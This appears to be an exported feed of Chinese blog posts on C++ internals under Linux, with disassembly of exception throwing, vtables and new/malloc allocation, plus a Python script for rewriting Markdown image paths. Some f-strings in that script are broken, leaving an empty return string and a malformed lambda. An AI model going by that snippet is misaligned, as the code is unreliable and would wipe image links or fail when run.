thrown_size<br>call ___cxa_allocate_exception<br><br>; 21: *v3 = "A string error occurred!";<br>lea rdx, aAStringErrorOc ; "A string error occurred!"<br>mov [rax], rdx<br>; 22: __cxa_throw(v3, (struct type_info *)&`typeinfo for'char const*, 0LL);<br>mov edx, 0 ; void (__fastcall *)(void *)<br>lea rcx, _ZTIPKc@CXXABI_1_3<br>mov rsi, rcx ; lptinfo<br>mov rdi, rax ; void *<br>call ___cxa_throw<br><br>; cleanup() // owned by 12BB<br>endbr64<br>mov r12, rax<br>mov rdi, rbx ; void *<br>call ___cxa_free_exception<br><br>mov rax, r12<br>mov rdi, rax ; struct _Unwind_Exception *<br>call __Unwind_Resume<br><br>loc_1354: ; CODE XREF: mightThrow(int)+84↑j<br>nop<br>add rsp, 10h<br>pop rbx<br>pop r12<br>pop rbp<br>retn<br>; }<br></code></pre></td></tr></table></figure><p>分析mightThrow 每个throw 都会调用__cxa_allocate_exception</p><p><code>__cxa_allocate_exception</code> 是一个在 C++ 编译器运行时库 (C++ runtime library) 中定义的函数,用于分配内存以存储异常对象。这个函数通常与 C++ 异常处理机制一起使用,它会在需要抛出异常时分配内存。</p><p><code>___cxa_throw</code> 是 C++ 编译器运行时库中的一个函数,用于实际抛出异常并启动异常处理机制。在使用 C++ 编写的代码中,当 <code>throw</code> 关键字被执行时,实际上会调用 <code>___cxa_throw</code> 函数来完成异常的抛出和处理流程。</p><h2 id="编译分析"><a href="#编译分析" class="headerlink" title="编译分析"></a>编译分析</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">throw</span> std::<span class="hljs-built_in">runtime_error</span>(<span class="hljs-string">"A runtime error occurred!"</span>);<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs assembly">; 9: exception = (std::runtime_error *)__cxa_allocate_exception(0x10uLL);<br>mov edi, 10h ; thrown_size<br>call ___cxa_allocate_exception<br><br>mov rbx, rax<br>; 10: std::runtime_error::runtime_error(exception, "A runtime error occurred!");<br>lea rax, aARuntimeErrorO ; "A runtime error occurred!"<br>mov rsi, rax ; char *<br>mov rdi, rbx ; this<br>call __ZNSt13runtime_errorC1EPKc ; std::runtime_error::runtime_error(char const*)<br><br>; 11: __cxa_throw(<br>; 12: exception,<br>; 13: (struct type_info *)&`typeinfo for'std::runtime_error,<br>; 14: (void (__fastcall *)(void *))&std::runtime_error::~runtime_error);<br>mov rax, cs:_ZNSt13runtime_errorD1Ev_ptr<br>mov rdx, rax ; void (__fastcall *)(void *)<br>lea rax, _ZTISt13runtime_error@GLIBCXX_3_4<br>mov rsi, rax ; lptinfo<br>mov rdi, rbx ; void *<br>call ___cxa_throw<br></code></pre></td></tr></table></figure><p>首先是调用___cxa_allocate_exception 构造异常对象(std::runtime_error)</p><p>然后调std::runtime_error 构造函数</p><p>最后使用___cxa_throw 抛出异常</p>]]></content>
<categories>
<category>C++</category>
</categories>
<tags>
<tag>C++</tag>
</tags>
</entry>
<entry>
<title>md图片批量处理</title>
<link href="/2024/06/28/misc/md%E5%9B%BE%E7%89%87%E6%89%B9%E9%87%8F%E5%A4%84%E7%90%86/"/>
<url>/2024/06/28/misc/md%E5%9B%BE%E7%89%87%E6%89%B9%E9%87%8F%E5%A4%84%E7%90%86/</url>
<content type="html"><</span><br> pattern = re.<span class="hljs-built_in">compile</span>(<span class="hljs-string">r'!\[([^\]]*)\]\(([^)]+)\)'</span>)<br> <br> <span class="hljs-keyword">for</span> root, _, files <span class="hljs-keyword">in</span> os.walk(directory):<br> <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> files:<br> <span class="hljs-keyword">if</span> file.endswith(<span class="hljs-string">".md"</span>):<br> file_path = os.path.join(root, file)<br> <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(file_path, <span class="hljs-string">'r'</span>, encoding=<span class="hljs-string">'utf-8'</span>) <span class="hljs-keyword">as</span> f:<br> content = f.read()<br> <br> <span class="hljs-comment"># 获取文件名(不包括扩展名)</span><br> filename_without_ext = os.path.splitext(file)[<span class="hljs-number">0</span>]<br> <br> <span class="hljs-comment"># 查找并替换图片路径,在路径前加上文件名(仅当原路径不以文件名开头时)</span><br> <span class="hljs-keyword">def</span> <span class="hljs-title function_">replacer</span>(<span class="hljs-params"><span class="hljs-keyword">match</span></span>):<br> alt_text, image_path = <span class="hljs-keyword">match</span>.groups()<br> <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> image_path.startswith(<span class="hljs-string">f"<span class="hljs-subst">{filename_without_ext}</span>/"</span>):<br> <span class="hljs-keyword">return</span> <span class="hljs-string">f''</span><br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">match</span>.group(<span class="hljs-number">0</span>)<br><br> new_content = pattern.sub(replacer, content)<br> <br> <span class="hljs-comment"># 保存修改后的内容</span><br> <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(file_path, <span class="hljs-string">'w'</span>, encoding=<span class="hljs-string">'utf-8'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(new_content)<br><br><span class="hljs-comment">#去除文件路径前缀</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">remove_filename_from_image_paths</span>(<span class="hljs-params">directory</span>):<br> <span class="hljs-comment"># 正则表达式匹配 Markdown 中的图片语法 </span><br> pattern = re.<span class="hljs-built_in">compile</span>(<span class="hljs-string">r'!\[([^\]]*)\]\(([^)]+)\)'</span>)<br> <br> <span class="hljs-keyword">for</span> root, _, files <span class="hljs-keyword">in</span> os.walk(directory):<br> <span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> files:<br> <span class="hljs-keyword">if</span> file.endswith(<span class="hljs-string">".md"</span>):<br> file_path = os.path.join(root, file)<br> <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(file_path, <span class="hljs-string">'r'</span>, encoding=<span class="hljs-string">'utf-8'</span>) <span class="hljs-keyword">as</span> f:<br> content = f.read()<br> <br> <span class="hljs-comment"># 获取文件名(不包括扩展名)</span><br> filename_without_ext = os.path.splitext(file)[<span class="hljs-number">0</span>]<br> <br> <span class="hljs-comment"># 生成匹配特定文件名前缀的正则表达式</span><br> specific_pattern = re.<span class="hljs-built_in">compile</span>(<span class="hljs-string">r'!\[([^\]]*)\]\((%s/[^)]+)\)'</span> % re.escape(filename_without_ext))<br> <br> <span class="hljs-comment"># 查找并去除图片路径前的文件名部分</span><br> new_content = specific_pattern.sub(<span class="hljs-keyword">lambda</span> m: <span class="hljs-string">f'[<span class="hljs-built_in">len</span>(filename_without_ext)+<span class="hljs-number">1</span>:]}</span>)'</span>, content)<br> <br> <span class="hljs-comment"># 保存修改后的内容</span><br> <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(file_path, <span class="hljs-string">'w'</span>, encoding=<span class="hljs-string">'utf-8'</span>) <span class="hljs-keyword">as</span> f:<br> f.write(new_content)<br><span class="hljs-comment"># 使用示例</span><br>directory = <span class="hljs-string">"./"</span><br><br>update_image_paths(directory)<br><br></code></pre></td></tr></table></figure>]]></content>
</entry>
<entry>
<title>深度剖析C++底层机制(linux) 2 虚函数</title>
<link href="/2024/06/26/C++/C-2/"/>
<url>/2024/06/26/C++/C-2/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>本章主要分析虚函数的底层实现</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Father</span><br>{<br> <span class="hljs-type">char</span> name[<span class="hljs-number">20</span>];<br><span class="hljs-keyword">public</span>:<br> <span class="hljs-function"><span class="hljs-keyword">virtual</span> <span class="hljs-type">void</span> <span class="hljs-title">PrintName</span><span class="hljs-params">()</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"father"</span>);<br> }<br><br>};<br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Son</span> : <span class="hljs-keyword">public</span> Father<br>{<br><span class="hljs-keyword">public</span>:<br> <span class="hljs-function"><span class="hljs-keyword">virtual</span> <span class="hljs-type">void</span> <span class="hljs-title">PrintName</span><span class="hljs-params">()</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"son"</span>);<br><br> }<br><br>};<br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span><br><span class="hljs-function"></span>{<br> Father* f=<span class="hljs-keyword">new</span> <span class="hljs-built_in">Father</span>();<br> Son* s=<span class="hljs-keyword">new</span> <span class="hljs-built_in">Son</span>();<br> f-><span class="hljs-built_in">PrintName</span>();<br> s-><span class="hljs-built_in">PrintName</span>();<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs assembly">; __unwind {<br>.text:0000000000001169 F3 0F 1E FA endbr64<br>.text:000000000000116D 55 push rbp<br>.text:000000000000116E 48 89 E5 mov rbp, rsp<br>.text:0000000000001171 53 push rbx<br>.text:0000000000001172 48 83 EC 18 sub rsp, 24<br>.text:0000000000001176 ; 6: v3 = (Father *)operator new(0x20uLL);<br>.text:0000000000001176 BF 20 00 00 00 mov edi, 32 ; unsigned __int64<br>.text:000000000000117B E8 E0 FE FF FF call __Znwm ; operator new(ulong)<br>.text:000000000000117B<br>.text:0000000000001180 48 89 C3 mov rbx, rax<br>.text:0000000000001183 ; 7: *(_QWORD *)v3 = 0LL;<br>.text:0000000000001183 48 C7 03 00 00 00 00 mov qword ptr [rbx], 0<br>.text:000000000000118A ; 8: *((_QWORD *)v3 + 1) = 0LL;<br>.text:000000000000118A 48 C7 43 08 00 00 00 00 mov qword ptr [rbx+8], 0<br>.text:0000000000001192 ; 9: *((_QWORD *)v3 + 2) = 0LL;<br>.text:0000000000001192 48 C7 43 10 00 00 00 00 mov qword ptr [rbx+16], 0<br>.text:000000000000119A ; 10: *((_QWORD *)v3 + 3) = 0LL;<br>.text:000000000000119A 48 C7 43 18 00 00 00 00 mov qword ptr [rbx+24], 0<br>.text:00000000000011A2 ; 11: Father::Father(v3);<br>.text:00000000000011A2 48 89 DF mov rdi, rbx ; this<br>.text:00000000000011A5 E8 B2 00 00 00 call _ZN6FatherC2Ev ; Father::Father(void)<br>.text:00000000000011A5<br>.text:00000000000011AA ; 12: v6 = v3;<br>.text:00000000000011AA 48 89 5D E0 mov [rbp+var_20], rbx<br>.text:00000000000011AE ; 13: v4 = (Son *)operator new(0x20uLL);<br>.text:00000000000011AE BF 20 00 00 00 mov edi, 20h ; ' ' ; unsigned __int64<br>.text:00000000000011B3 E8 A8 FE FF FF call __Znwm ; operator new(ulong)<br>.text:00000000000011B3<br>.text:00000000000011B8 48 89 C3 mov rbx, rax<br>.text:00000000000011BB ; 14: *(_QWORD *)v4 = 0LL;<br>.text:00000000000011BB 48 C7 03 00 00 00 00 mov qword ptr [rbx], 0<br>.text:00000000000011C2 ; 15: *((_QWORD *)v4 + 1) = 0LL;<br>.text:00000000000011C2 48 C7 43 08 00 00 00 00 mov qword ptr [rbx+8], 0<br>.text:00000000000011CA ; 16: *((_QWORD *)v4 + 2) = 0LL;<br>.text:00000000000011CA 48 C7 43 10 00 00 00 00 mov qword ptr [rbx+10h], 0<br>.text:00000000000011D2 ; 17: *((_QWORD *)v4 + 3) = 0LL;<br>.text:00000000000011D2 48 C7 43 18 00 00 00 00 mov qword ptr [rbx+18h], 0<br>.text:00000000000011DA ; 18: Son::Son(v4);<br>.text:00000000000011DA 48 89 DF mov rdi, rbx ; this<br>.text:00000000000011DD E8 98 00 00 00 call _ZN3SonC2Ev ; Son::Son(void)<br>.text:00000000000011DD<br>.text:00000000000011E2 ; 19: (**(void (__fastcall ***)(Father *, const char **))v6)(v6, argv);<br>.text:00000000000011E2 48 89 5D E8 mov [rbp+var_18], rbx<br>.text:00000000000011E6 48 8B 45 E0 mov rax, [rbp+var_20]<br>.text:00000000000011EA 48 8B 00 mov rax, [rax]<br>.text:00000000000011ED 48 8B 10 mov rdx, [rax]<br>.text:00000000000011F0 48 8B 45 E0 mov rax, [rbp+var_20]<br>.text:00000000000011F4 48 89 C7 mov rdi, rax<br>.text:00000000000011F7 FF D2 call rdx<br>.text:00000000000011F7<br>.text:00000000000011F9 ; 20: (**(void (__fastcall ***)(Son *))v4)(v4);<br>.text:00000000000011F9 48 8B 45 E8 mov rax, [rbp+var_18]<br>.text:00000000000011FD 48 8B 00 mov rax, [rax]<br>.text:0000000000001200 48 8B 10 mov rdx, [rax]<br>.text:0000000000001203 48 8B 45 E8 mov rax, [rbp+var_18]<br>.text:0000000000001207 48 89 C7 mov rdi, rax<br>.text:000000000000120A FF D2 call rdx<br>.text:000000000000120A<br>.text:000000000000120C ; 21: return 0;<br>.text:000000000000120C B8 00 00 00 00 mov eax, 0<br>.text:0000000000001211 48 8B 5D F8 mov rbx, [rbp+var_8]<br>.text:0000000000001215 C9 leave<br>.text:0000000000001216 C3 retn<br>.text:0000000000001216 ; } // starts at 1169<br></code></pre></td></tr></table></figure><p>11A5处出现了一个构造函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs assembly"> ; void __fastcall Father::Father(Father *this)<br>.text:000000000000125C public _ZN6FatherC2Ev ; weak<br>.text:000000000000125C _ZN6FatherC2Ev proc near ; CODE XREF: main+3C↑p<br>.text:000000000000125C ; Son::Son(void)+17↓p<br>.text:000000000000125C<br>.text:000000000000125C var_8= qword ptr -8<br>.text:000000000000125C<br>.text:000000000000125C ; __unwind {<br>.text:000000000000125C F3 0F 1E FA endbr64<br>.text:0000000000001260 55 push rbp<br>.text:0000000000001261 48 89 E5 mov rbp, rsp<br>.text:0000000000001264 ; 2: *(_QWORD *)this = &off_3D80;<br>.text:0000000000001264 48 89 7D F8 mov [rbp+var_8], rdi<br>.text:0000000000001268 48 8D 15 11 2B 00 00 lea rdx, off_3D80<br>.text:000000000000126F 48 8B 45 F8 mov rax, [rbp+var_8]<br>.text:0000000000001273 48 89 10 mov [rax], rdx<br>.text:0000000000001276 90 nop<br>.text:0000000000001277 5D pop rbp<br>.text:0000000000001278 C3 retn<br></code></pre></td></tr></table></figure><p>将虚函数表地址复制到this的起始地址处</p><p><img src="/2024/06/26/C++/C-2/image-20240626054259842.png" alt="image-20240626054259842"></p><p>虚函数表映射只读</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>使用虚函数的类,在属性结构上会多一个虚函数表指针,指针由默认的构造函数初始化,子类会继承父类的虚函数表,以供重写虚函数(多态)</p><p>在不使用new情况下,不会使用虚函数表指针,因为使用的函数已经确定</p>]]></content>
<categories>
<category>C++</category>
</categories>
<tags>
<tag>C++</tag>
</tags>
</entry>
<entry>
<title>深度剖析C++底层机制(linux) 1 类</title>
<link href="/2024/06/25/C++/C++-1/"/>
<url>/2024/06/25/C++/C++-1/</url>
<content type="html"><![CDATA[<h1 id="概要"><a href="#概要" class="headerlink" title="概要"></a>概要</h1><p>本系列主要探讨C++一些机制在Linux下的实现原理(x64)</p><p>环境</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs sh">g++ (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0<br>g++<br></code></pre></td></tr></table></figure><h1 id="类初探"><a href="#类初探" class="headerlink" title="类初探"></a>类初探</h1><h2 id="new"><a href="#new" class="headerlink" title="new"></a>new</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Stundent</span><br>{<br><span class="hljs-keyword">public</span>:<br> <span class="hljs-type">int</span> ages;<br> <span class="hljs-type">char</span> name[<span class="hljs-number">20</span>];<br> <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">PrintName</span><span class="hljs-params">()</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-built_in">puts</span>(name);<br> }<br><br>};<br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span><br><span class="hljs-function"></span>{<br> Stundent* s=<span class="hljs-keyword">new</span> <span class="hljs-built_in">Stundent</span>();<br> <span class="hljs-built_in">strcpy</span>(s->name,<span class="hljs-string">"sss"</span>);<br> s-><span class="hljs-built_in">PrintName</span>();<br> Stundent t;<br> <span class="hljs-built_in">strcpy</span>(t.name,<span class="hljs-string">"ttt"</span>);<br> t.<span class="hljs-built_in">PrintName</span>();<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><code class="hljs assembly"> endbr64<br>.text:000000000000118D 55 push rbp<br>.text:000000000000118E 48 89 E5 mov rbp, rsp<br>.text:0000000000001191 48 83 EC 30 sub rsp, 30h<br>.text:0000000000001195 ; 7: v7 = __readfsqword(0x28u);<br>.text:0000000000001195 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h<br>.text:000000000000119E 48 89 45 F8 mov [rbp+var_8], rax<br>.text:00000000000011A2 ; 8: v3 = operator new(0x18uLL);<br>.text:00000000000011A2 31 C0 xor eax, eax<br>.text:00000000000011A4 BF 18 00 00 00 mov edi, 18h ; unsigned __int64<br>.text:00000000000011A9 E8 C2 FE FF FF call __Znwm ; operator new(ulong)<br>.text:00000000000011A9<br>.text:00000000000011AE ; 9: *(_QWORD *)v3 = 0LL;<br>.text:00000000000011AE 48 C7 00 00 00 00 00 mov qword ptr [rax], 0<br>.text:00000000000011B5 ; 10: *(_QWORD *)(v3 + 8) = 0LL;<br>.text:00000000000011B5 48 C7 40 08 00 00 00 00 mov qword ptr [rax+8], 0<br>.text:00000000000011BD ; 11: *(_QWORD *)(v3 + 16) = 0LL;<br>.text:00000000000011BD 48 C7 40 10 00 00 00 00 mov qword ptr [rax+10h], 0<br>.text:00000000000011C5 ; 12: *(_DWORD *)(v3 + 4) = 7566195;<br>.text:00000000000011C5 48 89 45 D8 mov [rbp-28h], rax<br>.text:00000000000011C9 48 8B 45 D8 mov rax, [rbp+var_28]<br>.text:00000000000011CD 48 83 C0 04 add rax, 4<br>.text:00000000000011D1 C7 00 73 73 73 00 mov dword ptr [rax], 737373h<br>.text:00000000000011D7 ; 13: Stundent::PrintName((Stundent *)v3);<br>.text:00000000000011D7 48 8B 45 D8 mov rax, [rbp+var_28]<br>.text:00000000000011DB 48 89 C7 mov rdi, rax ; this<br>.text:00000000000011DE E8 35 00 00 00 call _ZN8Stundent9PrintNameEv ; Stundent::PrintName(void)<br>.text:00000000000011DE<br>.text:00000000000011E3 ; 14: v6 = 7631988;<br>.text:00000000000011E3 48 8D 45 E0 lea rax, [rbp+var_20]<br>.text:00000000000011E7 48 83 C0 04 add rax, 4<br>.text:00000000000011EB C7 00 74 74 74 00 mov dword ptr [rax], 747474h<br>.text:00000000000011F1 ; 15: Stundent::PrintName((Stundent *)v5);<br>.text:00000000000011F1 48 8D 45 E0 lea rax, [rbp+var_20]<br>.text:00000000000011F5 48 89 C7 mov rdi, rax ; this<br>.text:00000000000011F8 E8 1B 00 00 00 call _ZN8Stundent9PrintNameEv ; Stundent::PrintName(void)<br>.text:00000000000011F8<br>.text:00000000000011FD B8 00 00 00 00 mov eax, 0<br>.text:0000000000001202 48 8B 55 F8 mov rdx, [rbp+var_8]<br>.text:0000000000001206 64 48 2B 14 25 28 00 00 00 sub rdx, fs:28h<br>.text:000000000000120F 74 05 jz short locret_1216<br>.text:000000000000120F<br>.text:0000000000001211 E8 6A FE FF FF call ___stack_chk_fail<br>.text:0000000000001211<br>.text:0000000000001216 ; ---------------------------------------------------------------------------<br>.text:0000000000001216 ; 16: return 0;<br>.text:0000000000001216<br>.text:0000000000001216 locret_1216: ; CODE XREF: main+86↑j<br>.text:0000000000001216 C9 leave<br>.text:0000000000001217 C3 retn<br></code></pre></td></tr></table></figure><p>new 出的对象使用了__Znwm以分配内存</p><p><code>_Znwm</code>是C++中的 <code>operator new(size_t)</code> 的一个符号名(mangled name)</p><p>gdb跟进最终找到void *__fastcall operator new(size_t size)</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-function"><span class="hljs-type">void</span> *__fastcall <span class="hljs-keyword">operator</span> <span class="hljs-title">new</span><span class="hljs-params">(<span class="hljs-type">size_t</span> size)</span></span><br><span class="hljs-function"></span>{<br> _QWORD *exception; <span class="hljs-comment">// rax</span><br> <span class="hljs-type">size_t</span> v2; <span class="hljs-comment">// rax</span><br> <span class="hljs-type">size_t</span> v3; <span class="hljs-comment">// rbx</span><br> <span class="hljs-type">void</span> *result; <span class="hljs-comment">// rax</span><br> <span class="hljs-built_in">void</span> (*new_handler)(<span class="hljs-type">void</span>); <span class="hljs-comment">// rax</span><br><br> v2 = <span class="hljs-number">1LL</span>;<br> <span class="hljs-keyword">if</span> ( size )<br> v2 = size;<br> v3 = v2;<br> <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )<br> {<br> result = <span class="hljs-built_in">malloc</span>(v3);<br> <span class="hljs-keyword">if</span> ( result )<br> <span class="hljs-keyword">break</span>;<br> new_handler = (<span class="hljs-built_in">void</span> (*)(<span class="hljs-type">void</span>))std::<span class="hljs-built_in">get_new_handler</span>();<br> <span class="hljs-keyword">if</span> ( !new_handler )<br> {<br> exception = __cxa_allocate_exception(<span class="hljs-number">8uLL</span>);<br> *exception = &`vtable <span class="hljs-keyword">for</span><span class="hljs-number">'</span>std::bad_alloc + <span class="hljs-number">2</span>;<br> __cxa_throw(<br> exception,<br> (<span class="hljs-keyword">struct</span> type_info *)&`typeinfo <span class="hljs-keyword">for</span><span class="hljs-number">'</span>std::bad_alloc,<br> (<span class="hljs-built_in">void</span> (__fastcall *)(<span class="hljs-type">void</span> *))std::bad_alloc::~bad_alloc);<br> }<br> <span class="hljs-built_in">new_handler</span>();<br> }<br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>我们先不看异常部分,可以看到使用的是malloc分配内存,进一步分析可以知道是使用的glibc的malloc</p><p>因此,我们得出结论,new出来的对象使用glibc中的malloc分配内存</p><p>而直接使用类定义对象是在栈上分配</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs assembly">Stundent::PrintName((Stundent *)v3);<br>.text:00000000000011D7 48 8B 45 D8 mov rax, [rbp+var_28]<br>.text:00000000000011DB 48 89 C7 mov rdi, rax ; this<br>.text:00000000000011DE E8 35 00 00 00 call _ZN8Stundent9PrintNameEv <br></code></pre></td></tr></table></figure><p>使用成员函数会传入指向属性结构体的指针</p><h2 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Stundent</span><br>{<br><span 